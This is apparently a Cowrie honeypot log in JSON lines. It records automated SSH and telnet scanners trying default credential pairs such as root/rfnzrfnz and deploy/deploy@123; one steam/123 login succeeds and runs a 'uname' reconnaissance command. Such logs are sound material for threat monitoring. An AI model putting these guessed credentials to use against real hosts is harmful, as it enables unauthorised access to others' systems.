{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:37.610224Z","src_ip":"192.109.200.237","session":"e18a8ed65aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:37.691704Z","src_ip":"192.109.200.237","session":"e18a8ed65aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:37.936500Z","src_ip":"192.109.200.237","session":"e18a8ed65aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:39.119965Z","src_ip":"192.109.200.237","session":"e18a8ed65aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.171131372451782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:40.300744Z","src_ip":"50.6.8.71","session":"5269d716e4b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44268,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec6f5ec8f251","protocol":"ssh","message":"New connection: 192.109.200.237:44268 (159.203.135.109:22) [session: ec6f5ec8f251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:40.907326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:40.912564Z","src_ip":"192.109.200.237","session":"ec6f5ec8f251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:40.995016Z","src_ip":"192.109.200.237","session":"ec6f5ec8f251","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:41.368993Z","src_ip":"192.109.200.237","session":"ec6f5ec8f251","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:41.595538Z","src_ip":"192.109.200.237","session":"ec6f5ec8f251","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:41.598765Z","src_ip":"192.109.200.237","session":"ec6f5ec8f251","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:41.684396Z","src_ip":"192.109.200.237","session":"ec6f5ec8f251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:41.689849Z","src_ip":"192.109.200.237","session":"ec6f5ec8f251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":49998,"dst_ip":"10.17.0.5","dst_port":22,"session":"8325e5e2d6ae","protocol":"ssh","message":"New connection: 103.82.132.16:49998 (10.17.0.5:22) [session: 8325e5e2d6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:43.032316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:43.048028Z","src_ip":"103.82.132.16","session":"8325e5e2d6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:43.300566Z","src_ip":"103.82.132.16","session":"8325e5e2d6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfnzrfnz","message":"login attempt [root/rfnzrfnz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:44.315885Z","src_ip":"103.82.132.16","session":"8325e5e2d6ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44276,"dst_ip":"159.203.135.109","dst_port":22,"session":"09be54a419c5","protocol":"ssh","message":"New connection: 192.109.200.237:44276 (159.203.135.109:22) [session: 09be54a419c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:44.349643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:44.354247Z","src_ip":"192.109.200.237","session":"09be54a419c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:44.438608Z","src_ip":"192.109.200.237","session":"09be54a419c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:44.686066Z","src_ip":"192.109.200.237","session":"09be54a419c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:45.576544Z","src_ip":"103.82.132.16","session":"8325e5e2d6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:45.770473Z","src_ip":"192.109.200.237","session":"09be54a419c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.788940906524658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:46.270841Z","src_ip":"50.6.8.71","session":"d146b598d727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44280,"dst_ip":"159.203.135.109","dst_port":22,"session":"8be59a6984a0","protocol":"ssh","message":"New connection: 192.109.200.237:44280 (159.203.135.109:22) [session: 8be59a6984a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:47.668293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:47.672924Z","src_ip":"192.109.200.237","session":"8be59a6984a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:47.755347Z","src_ip":"192.109.200.237","session":"8be59a6984a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:48.002939Z","src_ip":"192.109.200.237","session":"8be59a6984a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38978,"dst_ip":"10.17.0.5","dst_port":22,"session":"7170f71180a3","protocol":"ssh","message":"New connection: 109.237.96.109:38978 (10.17.0.5:22) [session: 7170f71180a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:48.730849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:48.735353Z","src_ip":"109.237.96.109","session":"7170f71180a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:48.886168Z","src_ip":"109.237.96.109","session":"7170f71180a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petrova","message":"login attempt [root/petrova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:49.183246Z","src_ip":"109.237.96.109","session":"7170f71180a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:49.193237Z","src_ip":"192.109.200.237","session":"8be59a6984a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:50.317148Z","src_ip":"109.237.96.109","session":"7170f71180a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.02546834945679,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:50.546488Z","src_ip":"50.6.8.71","session":"8e62c6a75f8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59006,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc4d9c5b054","protocol":"ssh","message":"New connection: 192.109.200.237:59006 (159.203.135.109:22) [session: 4dc4d9c5b054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:50.972945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:50.976974Z","src_ip":"192.109.200.237","session":"4dc4d9c5b054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:51.058423Z","src_ip":"192.109.200.237","session":"4dc4d9c5b054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:51.304122Z","src_ip":"192.109.200.237","session":"4dc4d9c5b054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:52.389635Z","src_ip":"192.109.200.237","session":"4dc4d9c5b054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59008,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eae34381b34","protocol":"ssh","message":"New connection: 192.109.200.237:59008 (159.203.135.109:22) [session: 6eae34381b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:54.301841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:54.378341Z","src_ip":"192.109.200.237","session":"6eae34381b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:54.398879Z","src_ip":"192.109.200.237","session":"6eae34381b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:54.704591Z","src_ip":"192.109.200.237","session":"6eae34381b34","protocol":"ssh"}
